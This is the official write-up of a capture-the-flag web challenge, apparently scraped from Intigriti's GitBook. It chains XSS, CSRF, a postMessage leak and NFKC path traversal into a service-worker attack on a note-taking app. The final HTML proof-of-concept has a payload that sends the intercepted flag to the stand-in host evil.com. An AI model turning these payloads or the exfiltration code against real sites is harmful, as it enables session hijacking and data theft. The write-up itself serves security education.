🧠
Intigriti Monthly Challenges
Intigriti
  • Homepage
  • 0525: Confetti
  • 0425: HackDonalds
  • 0325: Leaky Flagment
  • 0125: Particle Generator
  • 1224: Fireplace Generator
  • 1124: 1337UP LIVE CTF
  • 0824: Safe Notes
  • 0724: Memo Sharing
  • 0524: Quadratic Equation Solver
  • 0424: BarSpacing Skills
  • 0324: Contact Form
  • 0224: Love Letter
  • 0124: Repo Woes
  • 1223: Smartypants Revenge
  • 1123: 1337UP LIVE CTF
  • 1023: Pseudonym Generator
  • 0923: Secure Database
  • 0823: Pure Functional Math Calculator
  • 0723: Video-to-Audio Converter
  • 0623: Protocapture
  • 0523: It’s Fun to Review the E.C.M.A
  • 0423: We Like to Sell Bricks
  • 0323: Incomplete Secure Notes Application
  • 0223: Leek NFT
  • 0123: Friends Search Engine
  • 1222: Christmas Blog
  • 1122: Secure Vault
  • 1022: Secure Notes
  • 0922: 8 Ball
  • 0822: Business Card Generator
  • 0722: Awesome Kitty Blog
  • 0622: Recipe
  • 0522: Pollution
  • 0422: Window Maker
  • 0322: Hashing
  • 0222: Extremely Short Scripting Game
  • 0122: Super Secure HTML Viewer
  • 1221: Christmas Special
  • 1121: OWASP Top 10
  • 1021: Halloween Has Taken Over
  • 0921: Password Manager
  • 0821: XSS Cookbook
Powered by GitBook
On this page
  • Challenge Description
  • Solution (official writeup from 0x999)
  • Introduction πŸ‘‹
  • Initial Discovery πŸ”
  • Finding the XSS 🐞
  • Leaking the Fragment Directive πŸ‘»
  • Stealing The Flag β›³
  • Unintended Solutions πŸ”₯
  • Community Writeups

0325: Leaky Flagment

Writeup for the Intigriti March 2025 challenge πŸ’₯

Previous0425: HackDonaldsNext0125: Particle Generator

Last updated 1 month ago

Name
Authors
Category

CSRF, postMessage, Path Traversal, XSS, Frament Leak

Challenge Description

Find the FLAG and win Intigriti swag! πŸ†

Solution (official writeup from 0x999)

Introduction πŸ‘‹

This month I had the opportunity to create (), Conveniently, the idea behind the main part of this challenge came to me while I was solving the previous Intigriti XSS by .

The goal of this challenge is rather simple, Leverage an XSS vulnerability on the challenge domain in order to leak the flag from the bot user to a remote host.

Challenge

Initial Discovery πŸ”

When navigating to the Challenge URL we can see the following Login page asking us to enter a username and password

After entering our credentials and logging in we are greeted with the following dashboard

We can see that, thanks to the author’s lack of creativity, we’ve been blessed with yet another revolutionary, groundbreaking invention: a note-taking app. Nevertheless we keep digging, We can see that we can create normal notes, password protected notes & download the challenge's source code. Clicking on the button labeled Bot sends us to the /submit-solution page in which we get a brief description of the challenge, goal & rules:

ℹ️ Information & Goal

Your goal is to leak the Bot's flag to a remote host by submitting a URL, below are the sequence of actions the bot will perform after receiving a URL:

 -   Open the latest version of Firefox
 -   Visit the Challenge page URL
 -   Login using the flag as the password
 -   Navigate to the provided URL
 -   Click at the center of the page
 -   Wait 60 seconds then close the browser

πŸ“œ Rules & Instructions

 -   Intended solution should work on the latest version of Chromium & Firefox
 -   Please test your POC locally & ensure it works on the latest stable version of Firefox before submitting a URL
 -   You may submit 1 URL every 30 minutes
 -   Have fun and happy hacking! πŸŽ‰

Additionally, we can see that the application has set a cookie for us called secret, The value of which is the base64 encoded value of the username:password we entered.

if we take a closer look at the cookie's flags we can see that it's an HttpOnly cookie and that the SameSite attribute is set to None: Set-Cookie: secret=...; HttpOnly; Secure; Max-Age=3600; SameSite=None; Path=/; Domain=challenge-0225.intigriti.io Meaning the browser will include this cookie in all cross-site requests to the challenge origin.

Finding the XSS 🐞

<div className="prose max-w-none text-gray-700 whitespace-pre-wrap break-words" dangerouslySetInnerHTML="{{" __html: note.content }} />

Trying to post a note with a simple HTMLI payload such as <h1>x in the note's content results in the following error:

Searching for the string Invalid value for title or content in the application's source code leads us to the following part of the nextjs-app/pages/api/post.js file:

if (typeof content === "string" && (content.includes("<") || content.includes(">"))) {
    return res.status(400).json({ message: "Invalid value for title or content" });
}

This part of the code checks if the note's content is of type string, if it is and it includes < or > a 400 status code response will be served and our note will not be created.

We can bypass this by sending our payload inside an Array. since the note's content won't be of type string this check will not affect us:

POST /api/post HTTP/1.1
Host: challenge-0325.intigriti.io
...

{"title":"x","content":["<img src onerror=alert(document.domain)>"],"use_password":"false"}

Sending this request will create a new note in our account which we can visit via /note/:id and see the alert.

Posting a note via CSRF πŸ΄β€β˜ οΈ

After finding a Stored XSS, We can try to visit the note we created using a different account to see if we can deliver our payload to the bot using a note posted from our own account. Doing so results in the following message: Uh oh, Note not found... 😒.

Since the notes in this application can only be viewed by the user who created them, We will need to find another way to deliver this payload to the bot. Taking a closer look at the nextjs-app/pages/api/post.js file we can see the following code:

const content_type = req.headers['content-type'];
...
if (content_type && !content_type.startsWith('application/json')) {
    return res.status(400).json({ message: 'Invalid content type' });
}
...
const body = typeof req.body === 'string' ? JSON.parse(req.body) : req.body;
const { title, content, use_password } = body;

This part of the code will check if the content-type header exists, if it does and it's value doesn't start with application/json the server will respond with a 400 status code and an Invalid content type message.

While it is rather uncharacteristic for a Nextjs application to be conditionally parsing the request body as JSON, This bypass is surprisingly common in the wild so I thought it would be a nice little addition to the challenge :p

Leaking Note ID via postMessage πŸ“©

When a new note is created the application uses uuidv4 to generate the note ID, meaning we can't predict it. We have to find another way to leak the Note ID. One thing we haven't explored yet is the password protected notes functionality, When creating a new note we can see that there's a toggle button on the page allowing us to use a password:

After creating the note we are presented with the note's password which was generated on the server side:

Clicking on the newly created protected note opens a new popup window to /protected-note and we are being told to enter the password in the parent window:

When the correct password is entered the popup window is redirected to /view_protected_note?id=:note_id.

If we take a look at the nextjs-app/app/protected-note/page.jsx file we can see the following code:

useEffect(() => {
    if (window.opener) {
        window.opener.postMessage({ type: "childLoaded" }, "*");
    }
    setisMounted(true);
    const handleMessage = (event) => {
        if (event.data.type === "submitPassword") {
            validatepassword(event.data.password);
        }
    };

    window.addEventListener("message", handleMessage);
    return () => window.removeEventListener("message", handleMessage);
}, []);

const validatepassword = (submittedpassword) => {
    const notes = JSON.parse(localStorage.getItem("notes") || "[]");
    const foundNote = notes.find((note) => note.password === submittedpassword);

    if (foundNote) {
        window.opener.postMessage({ type: "success", noteId: foundNote.id }, "*");
        setIsSuccess(true);
    } else {
        window.opener.postMessage({ type: "error" }, "*");
        setIsSuccess(false);
    }
};

When the /protected-note path loads, The page starts listening for message events which are expected to include an object with a key called type and it's value set to submitPassword as well as a key called password holding the submitted value. The code then parses notes from the user's localStorage and compares the submitted password using note.password === submittedpassword. If a matching note is found, the noteId is sent to window.opener via postMessage. Thus, by submitting an empty string as the password to the child window via postMessage: { type: "submitPassword", password: "" } we can leak the note ID of a normal note(not password-protected) cross-site.

Leaking the Fragment Directive πŸ‘»

example.com/#:~:fragment_directive&text=value

When navigating to a non-password protected note via /note/:id, We can see that we get redirected to /note/:id#:~:username:password which is perfect for us since the Bot's password is the flag.

If we try to access the fragment directive part of the url using any of the following: location.href, location.hash, document.URL, document.baseURI etc.. We can see that the browser is stripping the fragment directive part of the URL.

The fragment directive is removed from the URL before the URL is set to the session history entry. It is instead stored in the directive state. This prevents it from being visible to script APIs so that a directive can be specified without interfering with a page’s operation.

Any time a URL potentially including a fragment directive is written to a session history entry, extract the fragment directive from the URL and store it in a directive state item of the entry. There are four such points where a URL can potentially include a directive:

  • In the "navigate" steps for typical cross-document navigations

  • In the "navigate to a fragment" steps for fragment based same-document navigations

  • In the "URL and history update steps" for synchronous updates such as pushState/replaceState.

  • In the "create navigation params by fetching" steps for URLs coming from a redirect.

Service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). They are intended, among other things, to enable the creation of effective offline experiences, intercept network requests, and take appropriate action based on whether the network is available

Since we know that the Fragment directive is stripped from the URL when the document loads and we also know that a Service Worker sits between the initial request and the served response, We can use this to intercept the Fragment directive part of the URL before it's been stripped by the browser when the document loads. As illustrated in the following diagram:

In order to register a Service Worker that can steal the flag we need two things:

Finding a User-Controlled JavaScript File πŸ“

When navigating to any note in the application and inspecting the browser's network tab/console we can see a request being sent to /api/track and it's response is being eval'd which results in a ReferenceError: $ is not defined error.

Looking at the nextjs-app/pages/api/track.js file, We can see the following code:

    res.setHeader('Content-Type', 'text/javascript')
    switch (method) {
        case 'GET':
            try {
                const userIp = req.headers['x-user-ip'] || '0.0.0.0'
                const jsContent = `
$(document).ready(function() {
    const userDetails = {
        ip: "${userIp}",
        type: "client",
        timestamp: new Date().toISOString(),
        ipDetails: {}
    };
    window.ipAnalytics = {
        track: function() {
            return {
                ip: userDetails.ip,
                timestamp: new Date().toISOString(),
                type: userDetails.type,
                ipDetails: userDetails.ipDetails
            };
        }
    };
});`
                if (userIp !== '0.0.0.0') {
                    return res.status(200).send(jsContent)
                } else {
                    return res.status(200).send('');
                }

The /api/track endpoint is responding with a JavaScript MIME Type and it's expecting an x-user-ip header, If one exists it will respond with the header's value reflected inside what appears to be a jQuery file.

This seems promising but we can't use it yet for three reasons:

  1. This endpoint requires the x-user-ip header for it to respond with the user-controlled JavaScript file, since navigator.serviceWorker.register() won't include this header, an empty file will be served.

  2. Service Workers cannot be registered if they have any unhandled errors.

First we define a function called $ and make it return a function called ready() and finally we hoist the document variable since it's not defined in the Service Worker realm.

Poisoning Memory Cache via Path Traversal on NextJS Rewrites πŸ§ͺ

When inspecting the network requests of the application we can see that Javascript files are being served from memory cache:

      {
        source: '/:path*.js',
        headers: [
          {
            key: 'Cache-Control',
            value: 'public, max-age=120, immutable',
          },
        ],
      }

This rule applies a caching header to any path that has an appended .js extension. In other words, any file served by the application with a .js extension will be cached for 120 seconds by the browser.

One thing that was mentioned earlier but ignored is the /view_protected_note?id=:id path, Searching that path in the application's source code leads us to the following code in the /nextjs-app/middleware.js file:

const path = request.nextUrl.pathname;
if (path.startsWith("/view_protected_note")) {
    const query = request.nextUrl.searchParams;
    const note_id = query.get("id");
    const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
    const isMatch = uuid_regex.test(note_id);
    if (note_id && isMatch) {
        const current_url = request.nextUrl.clone();
        current_url.pathname = "/note/" + note_id.normalize("NFKC");
        return NextResponse.rewrite(current_url);
    } else {
        return new NextResponse("Uh oh, Missing or Invalid Note ID :c", {
            status: 403,
            headers: { "Content-Type": "text/plain" },
        });
    }
}

There's one issue, /../api/track is 13 characters long but the regex is strict and only allows for 12 characters in the last segment of the UUID, Therefore requesting "/note/" + "../00000-0000-0000-0000-/../api/track" will result in a 403 status code and an Uh oh, Missing or Invalid Note ID :c message, Luckily for us, our input is getting normalized using the NFKC method, Meaning there might be some character that we can use which has a decomposition of 2 or more characters who's value matches part of the /../api/track segment.

Using a JS vector such as: if('$[chr]'.normalize('NFKC')=== '..'){log('$[chr]')} gives us two results: β€₯(Unicode Code Point: 2025 ;p) and οΈ°.

Meaning both of these characters will get normalized to two normal dots(..) by the application allowing us to traverse back to the /api/track path while abiding by the regex's maximum 12 characters in the last segment of the UUID rule.

Stealing The Flag β›³

Putting it all together we can construct our final exploit that will steal the Bot's flag.

  1. We take advantage of the bot's click to open a new window to the challenge domain to enable cross site cookies from the attacker's origin

  2. We post the malicious note containing our XSS payload on the bot's account via CSRF, First our payload will register an empty JavaScript file as a Service Worker via the /view_protected_note path with the updateViaCache option set to all, Then we poison the /view_protected_note.js path via a fetch request with our Service Worker script inside the x-user-ip header which hoists the undefined functions/variables, starts listening for fetch events in order to intercept all network requests to the /note/:id path and check if url.hash contains :~:, If it does we send it to our attacker controlled host. After the service worker has been registered the bot will get redirected to /note/x so that the Service Worker's fetch event is triggered.

  3. We refresh the window opened in Step 1 to reload the Bot's localStorage so that it includes our newly created note

  4. We start listening for message events on the attacker's origin to retrieve our newly created noteId and redirect the bot to our note

  5. We submit an empty password to the opened window via postMessage which will trigger the message event and initiate the chain

  6. We retrieve the flag from our attacker controlled host logs: INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}

Our final exploit would look something like this:

<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>POC</title>
    </head>
    <body>
        <svg viewBox="0 0 100 100" onclick="poc()" />
        <script>
            function poc() {
                let newWindow;
                const target = "challenge-0325.intigriti.io";
                const attacker_host = "evil.com";
                const payload = `<img src onerror=\\"top.navigator.serviceWorker.register('/view_protected_note?id=../00000-0000-0000-0000-/β€₯/api/track', {updateViaCache:'all'});fetch('/view_protected_note.js?id=../00000-0000-0000-0000-/β€₯/api/track', {headers:{'x-user-ip':'\\\\u0022}});function $(){self.addEventListener(\\\\'fetch\\\\', (e) => { const url = new URL(e.request.url);(async () => { if(url.hash.includes(\\\\':~:\\\\')){fetch(\\\\'https://${attacker_host}/\\\\'+url.hash.substr(1, 64))} })(); });return {ready:function(){}}};var document;(function(){let x = {x:\\\\u0022'}});setTimeout(()=>{top.navigator.serviceWorker.register('/view_protected_note.js?id=../00000-0000-0000-0000-/β€₯/api/track', {updateViaCache:'all'});}, 4000);setTimeout(()=>{location.href='/note/x'},6000)\\">`;
                const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
                const stealFlag = async (target, payload) => {
                    newWindow = window.open(`https://${target}/protected-note`); // open new window to enable cross-site cookies
                    console.log("Window opened");
                    await delay(2000);
                    await fetch(`https://${target}/api/post`, {
                        mode: "no-cors",
                        credentials: "include",
                        method: "POST",
                        body: new TextEncoder().encode(`{"title":"poc","content":["${payload}"],           "use_password":"false"}`),
                    }); // post the malicious note containing our payload
                    console.log("Note posted");
                    newWindow.location.href = `https://${target}/protected-note`; // reload the page to refresh localStorage
                    console.log("Window redirected");
                    await delay(6000);
                    newWindow.postMessage(
                        {
                            type: "submitPassword",
                            password: "",
                        },
                        "*"
                    ); // submit an empty password to leak the note id
                    console.log("Password submitted");
                };
                // Listen for messages from the new window
                window.addEventListener("message", (e) => {
                    console.log("Message received from target window:", e.data);
                    if (e.data.noteId) {
                        newWindow.location.href = `https://${target}/note/${e.data.noteId}`; // redirect the victim to trigger the xss and steal the flag
                        alert("Note found, redirected");
                    }
                });
                // Execute the sequence of operations
                stealFlag(target, payload);
            }
        </script>
    </body>
</html>

Unintended Solutions πŸ”₯

The challenge was solved in time by 12 talented individuals, some of whom even manged to discover multiple unintended solutions!

It's truly amazing to see the diverse and creative approaches different researchers take when tackling a problem.

Community Writeups

Login Page
Home Page

After downloading the application's source code we can start looking for a sink. Since this is a React based application one of the first things that should come to mind is searching for . Doing so leads us to the nextjs-app/app/note/[id]/page.jsx file, we can see that the note's content is being rendered using dangerouslySetInnerHTML:

Invalid Content Error
Alert

This part of the challenge was inspired by by . Since we know that the application sets the secret cookie's SameSite attribute to None, We can use it to post a note on the Bot's account via a cross-site request to the /api/post path.

As mentioned in 's blog post, we can wrap our request body inside a Blob object to send a cross-site request without a Content-type header, this allows us to bypass the CSRF "protection" set by the application and post a note on a logged-in user's account from an attacker controlled origin.

ℹ️ Note: it can also be bypassed using as shown

Password Button
Note Password
Protected Note

Now that we have an XSS and a way to deliver our payload to the bot we can focus on the main part of the challenge, which as suggested by the challenge's name is to leverage the XSS in order to leak the fragment directive part of the URL, more commonly known as or Scroll to text fragment.

After some googling we may end up in the scroll to text fragment in which we can see the following:

We can also see it's being removed by the browser:

If we continue looking through the results we may end up in the scroll to text fragment proposal page, in there we can see open issue which leads us to bug in chromium which states that in Chromium it is possible to leak the fragment directive part of the URL using the Performance API(performance.getEntries()[0].name).

But if we keep digging we may also notice that the was reported to Firefox ~6 months ago and is already fixed, So that doesn't help us since the Bot is running the latest version of Firefox.

The intended solution is to use the API:

Service Worker Diagram

A file hosted on the target origin with a which we can control.

The Javascript file must have the right , Meaning we need it to be hosted either in /note/file.js or /file.js, Otherwise it won't be able to intercept the request to /note/:id containing the flag.

The /api/track path doesn't have the right for it to be able to intercept requests to /note/:id.

We can get around 3. by taking advantage of and declare any undefined variables/functions after they've been called to ensure no errors occur when the service worker is registered.

ℹ️ Note: If you wish to get a better understanding of what a Javascript realm is I highly recommend checking out blog post by .

Network Logs

Looking at the nextjs-app/next.config.mjs file we can see the following rule is set:

To take advantage of this we can use the option of the function:

The HTTP cache will be queried for the main script, and all imported scripts. If no fresh entry is found in the HTTP cache, then the scripts are fetched from the network.

We can see that this part of the file is checking if the requested path starts with /view_protected_note, If it does it takes the id query parameter's value and tests it against a rather relaxed UUID regex.

Pasting that regex into shows us that all it does is check for x amount of characters that aren't - followed by a - character separating each segment, the amount of characters in each segment needs to match that of a valid UUID which is 8-4-4-4-12.

If the value of the id parameter matches the regex, The code clones the requested URL and overwrites it's path with /note/ appended by our user controlled input which is being normalized using Unicode Normalization Form KC

Finally the response gets rewritten by NextResponse.rewrite(), If we read into what the function does:

Produce a response that rewrites (proxies) the given while preserving the original

So by putting these 2 pieces together we might be able to use path traversal in order to reach the /api/track endpoint and poison a Javascript file that is technically on the root path of the website(/) allowing us to register a Service Worker which has the correct so that it's able to intercept the request to /note/:id containing the flag.

To test this, we can fuzz every Unicode code point using Javascript's normalize function to see if there's a single character which has a decomposition of 2 characters that match any 2 character sequence in /../api/track, For convenience sake we can use , for example.

Within the first few hours of the challenge being live managed to claim first 🩸 with a very cool unintended solution which allowed him to leak the fragment directive part of the URL on firefox without the use of a service worker, I highly recommend checking out his to find out how!

There were a couple other very cool unintended solutions in different parts of the challenge, I highly recommend checking out writeups!

dangerouslySetInnerHTML
this blogpost
@lukejahnke
@lukejahnke
Typed Arrays
here
Text fragments
specification
when
Github Issues
this
this
same bug
Service Worker
JavaScript MIME type
scope
scope
JavaScript Declaration Hoisting
this
@weizmangal
headers()
updateViaCache
serviceWorker.register
'all'
middleware
debuggex
(NFKC)
rewrite()
URL
scope
Shazzer
@J0R1AN
writeup
some
of
the
community
panya
uncavohdmi
disna
j0r1an
antonio
arinc0
salvatore_abello
mariosk
cybersecu
adragos
silverpoision
Intigriti March Challenge (2025)
0x999
Intigriti's Monthly XSS challenge
code
challenge
0xGodson